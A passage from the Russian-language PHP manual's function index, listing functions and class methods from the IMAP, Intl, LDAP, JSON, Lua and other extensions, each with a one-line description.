    • imap_renamemailbox - Переименовывает почтовый ящик
    • imap_reopen - Переоткрывает поток IMAP к новому ящику
    • imap_rfc822_parse_adrlist - Разбирает адресную строку
    • imap_rfc822_parse_headers - Разбирает строку заголовка письма
    • imap_rfc822_write_address - Получает корректно сформированный адрес электронной почты, заданный именем ящика, хоста и персональной информацией
    • imap_savebody - Сохраняет часть тела сообщения в файл
    • imap_scan - Псевдоним imap_listscan
    • imap_scanmailbox - Псевдоним imap_listscan
    • imap_search - Получает сообщения, удовлетворяющие заданным критериям
    • imap_setacl - Устанавливает ACL для заданного почтового ящика
    • imap_setflag_full - Устанавливает флаги на сообщения
    • imap_set_quota - Устанавливает квоту для заданного почтового ящика
    • imap_sort - Получает и сортирует сообщения
    • imap_status - Получает информацию по статусу почтового ящика
    • imap_subscribe - Подписывает на почтовый ящик
    • imap_thread - Получает дерево связанных сообщений
    • imap_timeout - Устанавливает или получает время ожидания imap
    • imap_uid - Получает UID по номеру сообщения
    • imap_undelete - Снимает с сообщения метку удаления
    • imap_unsubscribe - Отписавает от почтового ящика
    • imap_utf7_decode - Декодирует строку из модифицированной кодировки UTF-7
    • imap_utf7_encode - Преобразовывает строку в кодировке ISO-8859-1 в модифицированную кодировку UTF-7
    • imap_utf8 - Преобразовывает MIME-кодированный текст в UTF-8
    • imap_utf8_to_mutf7 - Кодирует строку UTF-8 в изменённую UTF-7
    • implode - Объединяет элементы массива в строку
    • inet_ntop - Конвертирует упакованный интернет-адрес в читаемый формат
    • inet_pton - Конвертирует читаемый IP-адрес в его упакованное представление in_addr
    • InfiniteIterator::next - Перемещает итератор на одну позицию вперёд или в начало
    • InfiniteIterator::__construct - Конструктор класса InfiniteIterator
    • inflate_add - Инкрементальное распаковать закодированные данные
    • inflate_get_read_len - Получает количество прочитанных байт
    • inflate_get_status - Получает статус декомпрессии
    • inflate_init - Инициализация контекста инкрементальной распаковки
    • ini_alter - Псевдоним ini_set
    • ini_get - Получает значение настройки конфигурации
    • ini_get_all - Получает все настройки конфигурации
    • ini_parse_quantity - Get interpreted size from ini shorthand syntax
    • ini_restore - Восстанавливает значение настройки конфигурации
    • ini_set - Устанавливает значение настройки конфигурации
    • inotify_add_watch - Добавляет элемент наблюдения для объекта inotify
    • inotify_init - Инициализирует экземпляр inotify
    • inotify_queue_len - Возвращает число больше нуля, если есть ожидающие события
    • inotify_read - Читает события из экземпляра inotify
    • inotify_rm_watch - Удаляет наблюдение из экземпляра inotify
    • intdiv - Делит два числа без остатка
    • interface_exists - Проверяет, определён ли интерфейс
    • InternalIterator::current - Возвращает текущий элемент
    • InternalIterator::key - Возвращает ключ текущего элемента
    • InternalIterator::next - Переходит к следующему элементу
    • InternalIterator::rewind - Перематывает итератор к первому элементу
    • InternalIterator::valid - Проверяет, действительна ли текущая позиция
    • InternalIterator::__construct - Закрытый конструктор для запрета прямой инициализации
    • IntlBreakIterator::createCharacterInstance - Создаёт итератор прерывания для границ комбинирования последовательностей символов
    • IntlBreakIterator::createCodePointInstance - Создаёт итератор прерывания для границ кодовых точек
    • IntlBreakIterator::createLineInstance - Создаёт итератор прерывания для логически возможных разрывов строк
    • IntlBreakIterator::createSentenceInstance - Создаёт итератор прерывания для разрывов предложений
    • IntlBreakIterator::createTitleInstance - Создаёт итератор прерывания для разрывов заголовков
    • IntlBreakIterator::createWordInstance - Создаёт итератор прерывания для разрывов слов
    • IntlBreakIterator::current - Возвращает индекс текущей позиции
    • IntlBreakIterator::first - Устанавливает позицию к первому символу в тексте
    • IntlBreakIterator::following - Перемещает итератор к первой границе после указанного смещения
    • IntlBreakIterator::getErrorCode - Возвращает последний код ошибки объекта
    • IntlBreakIterator::getErrorMessage - Возвращает последнее сообщение об ошибке объекта
    • IntlBreakIterator::getLocale - Возвращает локаль, связанную с объектом
    • IntlBreakIterator::getPartsIterator - Создаёт итератор для перемещения фрагментов между границами
    • IntlBreakIterator::getText - Возвращает сканируемый текст
    • IntlBreakIterator::isBoundary - Сообщает, является ли смещение смещением границы
    • IntlBreakIterator::last - Устанавливает позицию итератора к индексу за последним символом
    • IntlBreakIterator::next - Перемещает итератор к следующей границе
    • IntlBreakIterator::preceding - Устанавливает позицию итератора к первой границе перед смещением
    • IntlBreakIterator::previous - Устанавливает позицию итератора на границе непосредственно перед текущей
    • IntlBreakIterator::setText - Устанавливает сканируемый текст
    • IntlBreakIterator::__construct - Закрытый конструктор, запрещающий создание экземпляров объекта
    • IntlCalendar::add - Добавляет количество (со знаком) времени в поле
    • IntlCalendar::after - Определяет, время этого объекта позже времени переданного объекта
    • IntlCalendar::before - Определяет, время этого объекта раньше времени переданного объекта
    • IntlCalendar::clear - Очищает поле или все поля
    • IntlCalendar::createInstance - Создаёт новый объект IntlCalendar
    • IntlCalendar::equals - Сравнивает время двух объектов IntlCalendar на предмет равенства
    • IntlCalendar::fieldDifference - Вычисляет разницу между заданным временем и временем объекта
    • IntlCalendar::fromDateTime - Создаёт IntlCalendar из объекта или строки DateTime
    • IntlCalendar::get - Получает значение поля
    • IntlCalendar::getActualMaximum - Максимальное значение для поля с учётом текущего времени объекта
    • IntlCalendar::getActualMinimum - Минимальное значение для поля с учётом текущего времени объекта
    • IntlCalendar::getAvailableLocales - Получает массив языковых стандартов, для которых есть данные
    • IntlCalendar::getDayOfWeekType - Сообщает, является ли день будним, выходным или днём с переходом между ними
    • IntlCalendar::getErrorCode - Получает последний код ошибки объекта
    • IntlCalendar::getErrorMessage - Получает последнее сообщение об ошибке для объекта
    • IntlCalendar::getFirstDayOfWeek - Получает первый день недели для языкового стандарта календаря
    • IntlCalendar::getGreatestMinimum - Получает наибольшее локальное минимальное значение поля
    • IntlCalendar::getKeywordValuesForLocale - Получает набор значений ключевых слов языкового стандарта
    • IntlCalendar::getLeastMaximum - Получает наименьший локальный максимум для поля
    • IntlCalendar::getLocale - Получает языковой стандарт, связанный с объектом
    • IntlCalendar::getMaximum - Получает глобальное максимальное значение поля
    • IntlCalendar::getMinimalDaysInFirstWeek - Получает минимальное количество дней, которое может быть в первой неделе в году или месяце
    • IntlCalendar::getMinimum - Получает глобальное минимальное значение поля
    • IntlCalendar::getNow - Получает число, представляющее текущее время
    • IntlCalendar::getRepeatedWallTimeOption - Получает поведение для обработки повторяющегося времени процессора
    • IntlCalendar::getSkippedWallTimeOption - Получает поведение для обработки пропущенного времени процессора
    • IntlCalendar::getTime - Получает время, представленное в данный момент объектом
    • IntlCalendar::getTimeZone - Получает часовой пояс объекта
    • IntlCalendar::getType - Получает тип календаря
    • IntlCalendar::getWeekendTransition - Получает время дня, когда выходные начинаются или заканчиваются
    • IntlCalendar::inDaylightTime - Определяет, переходит ли время объекта на летнее время
    • IntlCalendar::isEquivalentTo - Определяет, равен ли другой календарь, но для другого времени
    • IntlCalendar::isLenient - Определяет, является ли интерпретация даты/времени мягкой
    • IntlCalendar::isSet - Определяет, установлено ли поле
    • IntlCalendar::isWeekend - Определяет, приходятся ли определённые дата/время на выходные
    • IntlCalendar::roll - Добавляет значение в поле без переноса в более важные поля
    • IntlCalendar::set - Устанавливает поле времени или сразу несколько общих полей
    • IntlCalendar::setDate - Устанавливает поля даты
    • IntlCalendar::setDateTime - Устанавливает поля даты и времени
    • IntlCalendar::setFirstDayOfWeek - Устанавливает день, который является началом недели
    • IntlCalendar::setLenient - Устанавливает, должна ли интерпретация даты/времени быть мягкой
    • IntlCalendar::setMinimalDaysInFirstWeek - Устанавливает минимальное количество дней, которое может быть в первой неделе в году или месяце
    • IntlCalendar::setRepeatedWallTimeOption - Устанавливает поведение для обработки повторяющегося времени процессора при отрицательных переходах смещения часового пояса
    • IntlCalendar::setSkippedWallTimeOption - Устанавливает поведение для обработки пропущенного времени процессора при положительных переходах смещения часового пояса
    • IntlCalendar::setTime - Устанавливает календарное время в миллисекундах с начала эпохи Unix
    • IntlCalendar::setTimeZone - Устанавливает часовой пояс, используемый календарём
    • IntlCalendar::toDateTime - Преобразовывает объект IntlCalendar в объект DateTime
    • IntlCalendar::__construct - Закрытый конструктор для запрета создания экземпляров
    • IntlChar::charAge - Получить "возраст" символьного кода
    • IntlChar::charDigitValue - Получить десятичную цифру из символа десятичной цифры
    • IntlChar::charDirection - Получить категорию направления письма для символа
    • IntlChar::charFromName - Найти символ Unicode по его имени и вернуть его код
    • IntlChar::charMirror - Получить "зеркальный" символ по коду
    • IntlChar::charName - Получить имя символа Unicode
    • IntlChar::charType - Получить главную категорию, в которую входит символ
    • IntlChar::chr - Получить символ Unicode по его коду
    • IntlChar::digit - Получить десятичное число из символа Unicode с заданным основанием
    • IntlChar::enumCharNames - Перечисляет все присвоенные символы Unicode в заданном диапазоне
    • IntlChar::enumCharTypes - Перечисление последовательностей символов Unicode сгруппированных по им категориям
    • IntlChar::foldCase - Производит преобразование регистра заданного символа
    • IntlChar::forDigit - Получить символ представляющий заданное число в заданном основании
    • IntlChar::getBidiPairedBracket - Получить парную скобку для символа
    • IntlChar::getBlockCode - Получить блок размещения символа Unicode
    • IntlChar::getCombiningClass - Получить комбинирующий класс для символа
    • IntlChar::getFC_NFKC_Closure - Получить свойство FC_NFKC_Closure для символа
    • IntlChar::getIntPropertyMaxValue - Получить минимальное значение для свойства Unicode
    • IntlChar::getIntPropertyMinValue - Получить минимальное значение для свойства Unicode
    • IntlChar::getIntPropertyValue - Получить значение свойства Unicode для символа
    • IntlChar::getNumericValue - Получить числовое представление для символа Unicode
    • IntlChar::getPropertyEnum - Получить значение константы свойства по его имени
    • IntlChar::getPropertyName - Получить Unicode имя свойства
    • IntlChar::getPropertyValueEnum - Вернуть числовой идентификатор свойства по его имени
    • IntlChar::getPropertyValueName - Получить имя Unicode для значения свойства
    • IntlChar::getUnicodeVersion - Получить версию Unicode
    • IntlChar::hasBinaryProperty - Проверяет бинарное свойство Unicode для символа
    • IntlChar::isalnum - Проверить, является ли символ буквой либо цифрой
    • IntlChar::isalpha - Проверить, является ли символ буквой
    • IntlChar::isbase - Проверить, является ли символ базовым
    • IntlChar::isblank - Проверить, является ли символ "пустым" либо "горизонтальным пробелом"
    • IntlChar::iscntrl - Проверить, является ли символ управляющим
    • IntlChar::isdefined - Проверить, определён ли символ
    • IntlChar::isdigit - Проверить, является ли символ цифрой
    • IntlChar::isgraph - Проверить, является ли символ графическим символом
    • IntlChar::isIDIgnorable - Проверить, является ли символ игнорируемым
    • IntlChar::isIDPart - Проверить, допустимо ли использовать символ в идентификаторе
    • IntlChar::isIDStart - Проверить, допустимо ли использовать символ в начале идентификатора
    • IntlChar::isISOControl - Проверить, является ли символ управляющим согласно ISO
    • IntlChar::isJavaIDPart - Проверить, является ли символ допустимым в идентификаторе Java
    • IntlChar::isJavaIDStart - Проверить, может ли символ быть первым в идентификаторе Java
    • IntlChar::isJavaSpaceChar - Проверить, является ли символ пробельным с точки зрения языка Java
    • IntlChar::islower - Проверить, в нижнем ли регистре символ
    • IntlChar::isMirrored - Проверить, если у символа свойство Bidi_Mirrored
    • IntlChar::isprint - Проверяет, является ли символ отображаемым
    • IntlChar::ispunct - Проверяет, является ли символ символом пунктуации
    • IntlChar::isspace - Проверяет, является ли символ пробельным
    • IntlChar::istitle - Проверить, является ли символ титульным (Titlecase)
    • IntlChar::isUAlphabetic - Проверить, установлено ли у символа свойство Alphabetic
    • IntlChar::isULowercase - Проверить, является ли символ символом в нижнем регистре
    • IntlChar::isupper - Проверить, входит ли символ в категорию "Lu" (буква в верхнем регистре)
    • IntlChar::isUUppercase - Проверить, является ли символ символом в верхнем регистре
    • IntlChar::isUWhiteSpace - Проверить, имеет ли символ свойство White_Space (пробельный символ)
    • IntlChar::isWhitespace - Проверить, является ли символ пробельным с точки зрения ICU
    • IntlChar::isxdigit - Проверяет, относится ли кодовая точка к шестнадцатеричной цифре
    • IntlChar::ord - Получить код символ Unicode
    • IntlChar::tolower - Преобразовывает символ Unicode в нижний регистр
    • IntlChar::totitle - Преобразовывает символ Unicode в титульный регистр (titlecase)
    • IntlChar::toupper - Преобразовывает символ Unicode в верхний регистр
    • IntlCodePointBreakIterator::getLastCodePoint - Получить последний код символа, выданный при перемещении итератора вперёд или назад
    • IntlDateFormatter::create - Создаёт средство форматирования даты
    • IntlDateFormatter::format - Форматирует значение даты/времени в виде строки
    • IntlDateFormatter::formatObject - Форматирует объект
    • IntlDateFormatter::getCalendar - Получает тип календаря для объекта IntlDateFormatter
    • IntlDateFormatter::getCalendarObject - Получает копию объекта календаря средства форматирования
    • IntlDateFormatter::getDateType - Получает тип даты, используемый IntlDateFormatter
    • IntlDateFormatter::getErrorCode - Получает код ошибки последней операции
    • IntlDateFormatter::getErrorMessage - Получает текст ошибки последней операции
    • IntlDateFormatter::getLocale - Получает языковой стандарт, используемый средством форматирования
    • IntlDateFormatter::getPattern - Получает шаблон, используемый IntlDateFormatter
    • IntlDateFormatter::getTimeType - Получает тип времени, используемый IntlDateFormatter
    • IntlDateFormatter::getTimeZone - Получает часовой пояс средства форматирования
    • IntlDateFormatter::getTimeZoneId - Получает идентификатор часового пояса, используемый IntlDateFormatter
    • IntlDateFormatter::isLenient - Получает снисходительность, используемую для IntlDateFormatter
    • IntlDateFormatter::localtime - Преобразовывает строку в значение времени на основе поля
    • IntlDateFormatter::parse - Преобразовывает строку в значение отметки времени
    • IntlDateFormatter::setCalendar - Устанавливает тип календаря, используемый средством форматирования
    • IntlDateFormatter::setLenient - Устанавливает мягкий режим анализатора
    • IntlDateFormatter::setPattern - Устанавливает шаблон, используемый IntlDateFormatter
    • IntlDateFormatter::setTimeZone - Устанавливает часовой пояс средства форматирования
    • IntlDatePatternGenerator::create - Создаёт новый экземпляр IntlDatePatternGenerator
    • IntlDatePatternGenerator::getBestPattern - Определяет наиболее подходящий формат даты/времени
    • IntlGregorianCalendar::createFromDate - Создаёт новый экземпляр класса IntlGregorianCalendar из даты
    • IntlGregorianCalendar::createFromDateTime - Создаёт новый экземпляр класса IntlGregorianCalendar из даты и времени
    • IntlGregorianCalendar::getGregorianChange - Получает дату изменения григорианского календаря
    • IntlGregorianCalendar::isLeapYear - Определяет, является ли данный год високосным
    • IntlGregorianCalendar::setGregorianChange - Устанавливает дату изменения в григорианском календаре
    • IntlGregorianCalendar::__construct - Конструктор класса григорианского календаря
    • IntlIterator::current - Получить текущий элемент
    • IntlIterator::key - Получить ключ текущего элемента
    • IntlIterator::next - Перейти к следующему элементу
    • IntlIterator::rewind - Перейти к первому элементу
    • IntlIterator::valid - Проверить, корректна ли текущая позиция
    • IntlPartsIterator::getBreakIterator - Получить IntlBreakIterator сохраняя итератор этой части
    • IntlRuleBasedBreakIterator::getBinaryRules - Получить бинарные данные из скомпилированных правил
    • IntlRuleBasedBreakIterator::getRules - Получить набор правил, использовавшихся при создании этого объекта
    • IntlRuleBasedBreakIterator::getRuleStatus - Получить наибольшее значение статуса правил останова, определившее текущую позицию остановки
    • IntlRuleBasedBreakIterator::getRuleStatusVec - получить значения статусов из правил останова, определивших текущую позицию остановки
    • IntlRuleBasedBreakIterator::__construct - Создаёт итератор на основе набора правил
    • IntlTimeZone::countEquivalentIDs - Получить количество идентификаторов в группе похожих часовых поясов, включая данный идентификатор
    • IntlTimeZone::createDefault - Создать новую копию часового пояса по умолчанию для текущего хоста
    • IntlTimeZone::createEnumeration - Получить перечисление из идентификаторов часовых поясов по указанной стране или смещению
    • IntlTimeZone::createTimeZone - Создать объект часового пояса по заданному идентификатору
    • IntlTimeZone::createTimeZoneIDEnumeration - Получить перечисление из идентификаторов системных часовых поясов по заданным условиям фильтрации
    • IntlTimeZone::fromDateTimeZone - Создать объект часового пояса из DateTimeZone
    • IntlTimeZone::getCanonicalID - Получить канонический системный идентификатор часового пояса или нормализованный пользовательский идентификатор часового пояса по заданному идентификатору часового пояса
    • IntlTimeZone::getDisplayName - Получить имя часового пояса для отображения пользователю
    • IntlTimeZone::getDSTSavings - Получить количество миллисекунд, которое нужно добавить к местному поясному времени, чтобы получить летнее время
    • IntlTimeZone::getEquivalentID - Получить идентификатор в группе похожих часовых поясов, включая заданный идентификатор
    • IntlTimeZone::getErrorCode - Получить последний код об ошибке в объекте
    • IntlTimeZone::getErrorMessage - Получить последнее сообщение об ошибке в объекте
    • IntlTimeZone::getGMT - Создать часовой пояс по GMT (UTC)
    • IntlTimeZone::getID - Получить идентификатор часового пояса
    • IntlTimeZone::getIDForWindowsID - Преобразовать часовой пояс для Windows в системный часовой пояс
    • IntlTimeZone::getOffset - Получить необработанное значение часового пояса и смещение по Гринвичу (GMT) по заданному моменту времени
    • IntlTimeZone::getRawOffset - Получить необработанное значение смещения по Гринвичу (GMT) без учёта летнего времени
    • IntlTimeZone::getRegion - Получить код региона, соответствующего заданному идентификатору системного часового пояса
    • IntlTimeZone::getTZDataVersion - Получить версию данных о часовом поясе, который в данный момент используется в ICU
    • IntlTimeZone::getUnknown - Получить неизвестный часовой пояс («unknown»)
    • IntlTimeZone::getWindowsID - Преобразовать системный часовой пояс в часовой пояс для Windows
    • IntlTimeZone::hasSameRules - Проверить, что в другом часовом поясе используются те же самые правила и смещения, что и в первом заданном
    • IntlTimeZone::toDateTimeZone - Преобразовать в объект DateTimeZone
    • IntlTimeZone::useDaylightTime - Проверить, что в данном часовом поясе используется летнее время
    • IntlTimeZone::__construct - Конструктор класса, запрещающий прямое создание экземпляра
    • intl_error_name - Получить имя ошибки по её коду
    • intl_get_error_code - Получить код последней ошибки
    • intl_get_error_message - Получить описание ошибки
    • intl_is_failure - Проверить, является ли код ошибки признаком сбоя
    • intval - Возвращает целочисленное значение переменной
    • in_array - Проверяет, присутствует ли в массиве значение
    • ip2long - Конвертирует строку, содержащую IPv4-адрес в целое число
    • iptcembed - Встраивание двоичных IPTC данных в JPEG изображение
    • iptcparse - Разбор двоичных IPTC данных на отдельные теги
    • isset - Определяет, была ли установлена переменная значением, отличным от null
    • is_a - Проверяет, принадлежит ли объект к типу или подтипу
    • is_array - Определяет, представляет ли собой переменная массив
    • is_bool - Проверяет, представляет ли собой переменная логическое значение
    • is_callable - Проверяет, что значение может быть вызвано как функция в текущей области видимости
    • is_countable - Проверяет, представляет ли собой содержимое переменной счётное значение
    • is_dir - Определяет, является ли имя файла директорией
    • is_double - Псевдоним is_float
    • is_executable - Определяет, является ли файл исполняемым
    • is_file - Определяет, является ли файл обычным файлом
    • is_finite - Проверяет, конечно ли число с плавающей точкой
    • is_float - Проверяет, представляет ли собой переменная число с плавающей точкой
    • is_infinite - Проверяет, бесконечно ли число с плавающей точкой
    • is_int - Проверяет, представляет ли собой переменная целое число
    • is_integer - Псевдоним is_int
    • is_iterable - Проверяет, итерируемо ли содержимое переменной
    • is_link - Определяет, является ли файл символической ссылкой
    • is_long - Псевдоним is_int
    • is_nan - Проверяет, представляет ли собой число с плавающей точкой нечисло
    • is_null - Проверяет, равно ли значение переменной null
    • is_numeric - Проверяет, содержит ли переменная число или числовую строку
    • is_object - Проверяет, представляет ли собой переменная объект
    • is_readable - Определяет существование файла и доступен ли он для чтения
    • is_real - Псевдоним is_float
    • is_resource - Проверяет, представляет ли собой переменная ресурс
    • is_scalar - Проверяет, представляет ли собой переменная скаляр
    • is_soap_fault - Проверяет, произошла ли ошибка при вызове SOAP
    • is_string - Проверяет, представляет ли собой тип переменной строку
    • is_subclass_of - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс
    • is_tainted - Проверяет, испорчена ли строка
    • is_uploaded_file - Определяет, был ли файл загружен при помощи HTTP POST
    • is_writable - Определяет, доступен ли файл для записи
    • is_writeable - Псевдоним is_writable
    • Iterator::current - Возврат текущего элемента
    • Iterator::key - Возвращает ключ текущего элемента
    • Iterator::next - Переходит к следующему элементу
    • Iterator::rewind - Возвращает итератор на первый элемент
    • Iterator::valid - Проверяет корректность текущей позиции
    • IteratorAggregate::getIterator - Получает внешний итератор
    • IteratorIterator::current - Получает текущее значение
    • IteratorIterator::getInnerIterator - Получает внутренний итератор
    • IteratorIterator::key - Получает ключ текущего элемента
    • IteratorIterator::next - Перемещает итератор к следующему элементу
    • IteratorIterator::rewind - Возвращает итератор к первому элементу
    • IteratorIterator::valid - Проверяет, допустим ли текущий элемент
    • IteratorIterator::__construct - Создаёт итератор из чего-либо, что является обходимым (traversable)
    • iterator_apply - Вызывает функцию для каждого элемента в итераторе
    • iterator_count - Подсчитывает количество элементов в итераторе
    • iterator_to_array - Копирует итератор в массив
  • j
    • jddayofweek - Возвращает день недели
    • jdmonthname - Возвращает название месяца
    • jdtofrench - Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю
    • jdtogregorian - Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю
    • jdtojewish - Переводит количество дней из юлианского календаря в дату по еврейскому календарю
    • jdtojulian - Переводит число дней в юлианском летоисчислении в дату по юлианскому календарю
    • jdtounix - Переводит число дней в юлианском летоисчислении в метку времени Unix
    • jewishtojd - Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении
    • join - Псевдоним implode
    • jpeg2wbmp - Конвертирует изображение из формата JPEG в WBMP
    • JsonSerializable::jsonSerialize - Задаёт данные, которые должны быть сериализованы в JSON
    • json_decode - Декодирует строку JSON
    • json_encode - Возвращает JSON-представление данных
    • json_last_error - Возвращает последнюю ошибку
    • json_last_error_msg - Возвращает строку с сообщением об ошибке последнего вызова json_encode() или json_decode()
    • json_validate - Проверяет, содержит ли строка допустимые данные в JSON-формате
    • juliantojd - Переводит дату по юлианскому календарю в число дней в юлианском летоисчислении
  • k
    • key - Получает ключ массива
    • key_exists - Псевдоним array_key_exists
    • krsort - Сортирует массив по ключу в порядке убывания
    • ksort - Сортирует массив по ключу в порядке возрастания
  • l
    • lcfirst - Преобразовывает первый символ строки в нижний регистр
    • lcg_value - Генерирует псевдослучайное число, применяя комбинированный линейный конгруэнтный метод
    • lchgrp - Изменяет группу, которой принадлежит символическая ссылка
    • lchown - Изменяет владельца символической ссылки
    • ldap_8859_to_t61 - Переводит символы из кодировки ISO-8859 в t61
    • ldap_add - Добавляет запись в LDAP-каталог
    • ldap_add_ext - Добавить записи в каталог LDAP
    • ldap_bind - Привязать к LDAP директории
    • ldap_bind_ext - Привязать к директории LDAP
    • ldap_close - Псевдоним ldap_unbind
    • ldap_compare - Сравнивает значение атрибута, который найден в записи с DN-именем
    • ldap_connect - Подключается к серверу LDAP
    • ldap_connect_wallet - Подключается к LDAP-серверу
    • ldap_control_paged_result - Послать серверу LDAP данные для использования постраничного извлечения результата
    • ldap_control_paged_result_response - Получить указатель на текущую страницу результирующего набора LDAP
    • ldap_count_entries - Посчитать число записей в результатах поиска
    • ldap_count_references - Подсчитывает количество ссылок в результатах поиска
    • ldap_delete - Удаляет запись из каталога LDAP
    • ldap_delete_ext - Удалить запись из директории
    • ldap_dn2ufn - Преобразовать DN в удобный для пользователя формат именования
    • ldap_err2str - Преобразовать код ошибки LDAP в строковое сообщение об ошибке
    • ldap_errno - Возвратить номер ошибки LDAP последней команды
    • ldap_error - Возвратить сообщение об ошибке LDAP последней команды
    • ldap_escape - Экранирование строки для использования в фильтре LDAP или в DN
    • ldap_exop - Выполняет расширенную операцию
    • ldap_exop_passwd - Обёртка для расширенной операции PASSWD
    • ldap_exop_refresh - Обёртка для расширенной операции Refresh
    • ldap_exop_sync - Выполняет расширенную операцию
    • ldap_exop_whoami - Обёртка для расширенной операции WHOAMI
    • ldap_explode_dn - Разделить DN на его составные части
    • ldap_first_attribute - Вернуть первый атрибут
    • ldap_first_entry - Возвратить первый идентификатор результата
    • ldap_first_reference - Возвращает первую справку
    • ldap_free_result - Освободить память результата
    • ldap_get_attributes - Получает атрибуты из записи в результатах поиска
    • ldap_get_dn - Получить DN результирующей записи
    • ldap_get_entries - Получает все записи результата
    • ldap_get_option - Получить текущее значение данной опции
    • ldap_get_values - Получает все значения из записи результата
    • ldap_get_values_len - Получить все бинарные значения из записи результата
    • ldap_list - Выполняет одноуровневый поиск
    • ldap_modify - Псевдоним ldap_mod_replace
    • ldap_modify_batch - Формирует и запускает пакетное изменение записи LDAP
    • ldap_mod_add - Добавить значения атрибута к текущим атрибутам
    • ldap_mod_add_ext - Добавить значения атрибута к текущим атрибутам
    • ldap_mod_del - Удаляет значения атрибута из текущих атрибутов
    • ldap_mod_del_ext - Удалить значения атрибутов из текущих атрибутов
    • ldap_mod_replace - Заменяет значения атрибутов на новые
    • ldap_mod_replace_ext - Заменить значения атрибута на новые
    • ldap_next_attribute - Получить следующий атрибут из результата
    • ldap_next_entry - Получить следующую запись результата
    • ldap_next_reference - Возвращает следующую справку
    • ldap_parse_exop - Разбор результирующего объекта выполнения расширенной операции LDAP
    • ldap_parse_reference - Извлекает информацию из справочника
    • ldap_parse_result - Извлечь информацию из результата
    • ldap_read - Читает запись
    • ldap_rename - Изменить имя записи
    • ldap_rename_ext - Модифицировать название записи
    • ldap_sasl_bind - Привязать к LDAP директории, используя SASL
    • ldap_search - Выполняет поиск по LDAP-дереву
    • ldap_set_option - Установить значение данной опции
    • ldap_set_rebind_proc - Установить функцию обратного вызова для повторного связывания при ссылочном поиске
    • ldap_sort - Сортирует записи LDAP
    • ldap_start_tls - Запускает TLS
    • ldap_t61_to_8859 - Переводит символы из кодировки t61 в ISO-8859
    • ldap_unbind - Разорвать привязку к директории LDAP
    • levenshtein - Вычисляет расстояние Левенштейна между двумя строками
    • libxml_clear_errors - Очистка буфера ошибок libxml
    • libxml_disable_entity_loader - Отключение возможности загрузки сущностей из внешних источников
    • libxml_get_errors - Получение массива произошедших ошибок
    • libxml_get_external_entity_loader - Получает текущий внешний загрузчик сущностей
    • libxml_get_last_error - Извлечение последней ошибки из libxml
    • libxml_set_external_entity_loader - Изменение загрузчика по умолчанию для внешних объектов
    • libxml_set_streams_context - Установка контекста потоков для следующей загрузки или записи документа посредством libxml
    • libxml_use_internal_errors - Отключение ошибок libxml и передача полномочий по выборке и обработке информации об ошибках пользователю
    • LimitIterator::current - Получение текущего элемента
    • LimitIterator::getPosition - Возвращает текущую позицию
    • LimitIterator::key - Получение текущего ключа
    • LimitIterator::next - Перемещение к следующей позиции
    • LimitIterator::rewind - Перемещает указатель на начальную позицию
    • LimitIterator::seek - Перемещает итератор на заданную позицию
    • LimitIterator::valid - Проверяет валидность текущего элемента
    • LimitIterator::__construct - Конструктор класса LimitIterator
    • link - Создаёт жёсткую ссылку
    • linkinfo - Возвращает информацию о ссылке
    • list - Присваивает переменным значения похожим на массивы синтаксисом
    • Locale::acceptFromHttp - Попытаться определить наилучшую локаль основываясь на заголовке HTTP "Accept-Language"
    • Locale::canonicalize - Канонизировать строку локали
    • Locale::composeLocale - Возвращает корректно отсортированные и разделённые идентификаторы локали
    • Locale::filterMatches - Проверить, соответствует ли тег фильтра языка локали
    • Locale::getAllVariants - Получение вариантов из переданной локали
    • Locale::getDefault - Получение значения локали INTL по умолчанию из опции 'default_locale'
    • Locale::getDisplayLanguage - Возвращает соответствующим образом локализованное имя языка для заданной локали
    • Locale::getDisplayName - Возвращает соответствующим образом локализованное имя локали
    • Locale::getDisplayRegion - Возвращает соответствующим образом локализованное название региона для заданной локали
    • Locale::getDisplayScript - Возвращает соответствующим образом локализованное название алфавита для заданной локали
    • Locale::getDisplayVariant - Возвращает соответствующим образом локализованное название варианта для заданной локали
    • Locale::getKeywords - Получить ключевые слова для локали
    • Locale::getPrimaryLanguage - Получить первичный язык для локали
    • Locale::getRegion - Получить регион для локали
    • Locale::getScript - Получить алфавит для локали
    • Locale::lookup - Поиск языковых меток наиболее подходящих заданной локали
    • Locale::parseLocale - Получить ассоциативный массив всех подтегов локали
    • Locale::setDefault - Установить локаль по умолчанию во время исполнения
    • localeconv - Возвращает информацию о форматировании чисел
    • localtime - Возвращает локальное время
    • log - Вычисляет натуральный логарифм
    • log1p - Возвращает результат log(1 + number), вычисленный так, чтобы он был точным, даже если значение числа близко к нулю.
    • log10 - Вычисляет десятичный логарифм
    • long2ip - Конвертирует целое число в IPv4-адрес
    • lstat - Возвращает информацию о файле или символической ссылке
    • ltrim - Удаляет пробелы (или другие символы) из начала строки
    • Lua::assign - Присваивает PHP-переменную Lua
    • Lua::call - Вызвать функции Lua
    • Lua::eval - Разбирает строку как код Lua
    • Lua::getVersion - Возвращает версию
    • Lua::include - Разбирает файл содержащий скрипт Lua
    • Lua::registerCallback - Зарегистрировать функцию PHP в Lua
    • Lua::__construct - Конструктор Lua
    • LuaClosure::__invoke - Вызов замыкания Lua
    • LuaSandbox::callFunction - Вызывает функцию в глобальной переменной Lua
    • LuaSandbox::disableProfiler - Отключает профилировщик
    • LuaSandbox::enableProfiler - Включает профилировщик
    • LuaSandbox::getCPUUsage - Возвращает текущее время использования процессора в среде Lua
    • LuaSandbox::getMemoryUsage - Возвращает текущее использование памяти в среде Lua
    • LuaSandbox::getPeakMemoryUsage - Возвращает пиковое использование памяти в среде Lua
    • LuaSandbox::getProfilerFunctionReport - Получает данные профилировщика
    • LuaSandbox::getVersionInfo - Возвращает версии LuaSandbox и Lua
    • LuaSandbox::loadBinary - Загружает предварительно скомпилированный двоичный фрагмент в среду Lua
    • LuaSandbox::loadString - Загружает код Lua в среду Lua
    • LuaSandbox::pauseUsageTimer - Приостанавливает таймер использования процессора
    • LuaSandbox::registerLibrary - Регистрирует набор PHP-функций как библиотеку Lua
    • LuaSandbox::setCPULimit - Устанавливает ограничение времени процессора для среды Lua
    • LuaSandbox::setMemoryLimit - Устанавливает предел памяти для среды Lua
    • LuaSandbox::unpauseUsageTimer - Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer
    • LuaSandbox::wrapPhpFunction - Оборачивает вызываемый PHP-объект в LuaSandboxFunction
    • LuaSandboxFunction::call - Вызывает Lua-функцию
    • LuaSandboxFunction::dump - Выгружает функцию в виде BLOB
